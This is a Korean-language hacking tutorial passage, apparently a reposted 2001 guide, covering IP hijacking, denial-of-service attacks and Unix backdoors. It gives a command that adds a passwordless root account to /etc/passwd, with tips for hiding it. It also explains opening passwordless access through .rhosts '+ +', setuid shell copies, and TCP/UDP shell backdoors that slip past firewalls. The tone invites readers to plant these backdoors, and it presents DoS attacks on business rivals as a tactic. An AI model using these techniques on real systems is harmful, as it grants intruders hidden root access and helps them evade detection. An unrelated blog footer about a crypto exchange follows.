                Web 상에서 공격 대상 Web 사이트처럼 흉내내어 정보를 빼내가는 방식

                6.3 IP hijacking
                TCP 프로토콜의 취약성의 하나인 리다이렉션을 이용해 쌍방향 호스트 사이에 Connect가 되어 있는 상태를 살피고 있다가 중간에 끼어드는 방식을 hijacking 이라한다.  SKEY와 같은 일회용 패스워드나 Kerberos와 같은 타겟 기반 인증 시스템에 의해 제공되는 보호 메커니즘을 우회하여 침투할 수 있다.

                6.4 DOS
                DOS(Denial Of Service)는 서비스 거부 공격이다. 쉽게 풀이하자면 공격 호스트의 서비스(ftp, smtp, telnet....)들이 제 구실을 못하도록 멍청하게 만들어 버리는 공격이다. 이런 공격은 우리들에게는 별 도움이 않되겠지만 만일 A라는 인터넷 서비스 업체(ISP)가 B라는 서비스 업체와 경쟁을 벌이고 있다면? 당연히 여러분들은 서비스가 잘 되고 빠른 인터넷 서비스 업체를 선택할 것이다. 그럼 A에서 고용한 해커가 B업체의 시스템을 DOS로 공략하게 된다면.. B업체는 서비스가 잘 않되겠지.. 사용자들은 불편을 겪게 될 것이고.. 따라서 서비스가 잘 않되는 B업체보다는 A업체로 사용자들이 몰리게 될 것이다. DOS의 경우 공격자를 잘 파악할 수도 없다. (spoofing을 사용하므로 누가 시스템을 DOS 로 공격하는지 발견해내기 어렵다.) 뭐.. 이런식이지...
                DOS공격에는 smurf. teardrop, ping flooding, syn flooding, 폭탄메일 등등.. 수없이 많다. 서비스만 제 구실못하게끔 할 수도 있지만 시스템 전체를 맛가게 할 수도 있다.

                6.5 BackDoor

                - 패스워드 백도어

                > 패스워드 살펴보기 :
                root:fVi3dx5Ytkdo:0:0:root:/:/bin/bash
                salsari:mKbj4T1sYji:501:100:salsari:/home/salsari:/bin/bash
                패스워드는 7개의 필드로 나뉜다.

                유저명 : 패스워드 : 유저ID : 그룹ID : 이름 : 홈 디렉토리 : shell
                root : fVi3dx5Ytkdo : 0 : 0 : root : / : /bin/bash

                오호라~ 생각보다 쉽네.. 여러분들.. 이해가 가지?
                그럼 패스워드 파일에 백도어를 심어볼까?
                /etc/passwd에 다음과 같이 집어 넣어보자.

                $ echo “hacker::0:0:hacker:/:/bin/bash” >> /etc/passwd

                유저ID:그룹ID가 0:0으로 설정되어 있다면 그것은 root의 권한을 가지고 있다는 뜻이다.
                그럼 hacker라는 유저는 루트의 권한을 가지고 패스워드 없이 로그인 할 수 있는게 되네...
                이런 방법으로도 백도어를 만들 수 있지만 쉽게 들킬 수 있다. 그래서 패스워드 중간정도에 집어넣든지 아니면 잘 사용하지 않는 사용자의 유저ID와 그룹ID를 0:0으로 바꾸어 사용할 수도 있다.

                - .rhosts 백도어
                유닉스의 rsh, rlogin 명령어는 홈디렉토리의 .rhosts 파일을 참조하여 사용하는 명령어이다.
                .rhosts에 + + 를 넣으면 누구든 패스워드 없이 시스템에 접속할 수 있다.

                - setuid 백도어
                2장에서도 설명했듯이 shell을 copy하여 setuid를 붙여서 백도어로 사용한다.

                -r-sr-xr-x 3 root root 88620 1997년 7월 16일 /bin/hacker
                모드 변경은 root 권한으로 chmod 4755 <filename>

                - TCP 쉘 백도어
                inetd.conf 와 services 파일에 쉘 포트(TCP)를 열어서 접속하는 백도어.

                - UDP 쉘 백도어
                방화벽은 DNS서비스 때문에 UDP 패킷은 막지 않는다. 그 점을 이용해서 UDP 쉘 백도어를 만들면 무사통과할수 있다.

                - Rootkit
                백도어 프로그램들을 자동으로 설치하여주는 프로그램.

                - 커널 백도어
                커널 자체를 수정하여 백도어를 만든다. 고급 백도어 방법으로 발견이 거의 불가능하다.

                참고 자료
                internet hacking document
                security advisory
                8lgm advisory






               


               






              Copyright(c) 2001, 수퍼유저코리아 All Rights Reserved.
              서버구축(운용)상담 : e-mail : webmaster@superuser.co.kr

              댓글 없음:

              댓글 쓰기

              국정원의 댓글 공작을 지탄합니다.

              UPBIT is a South Korean company, and people died of suicide cause of coin investment.

               UPBIT is a South Korean company, and people died of suicide cause of coin. The company helps the people who control the market price manipu...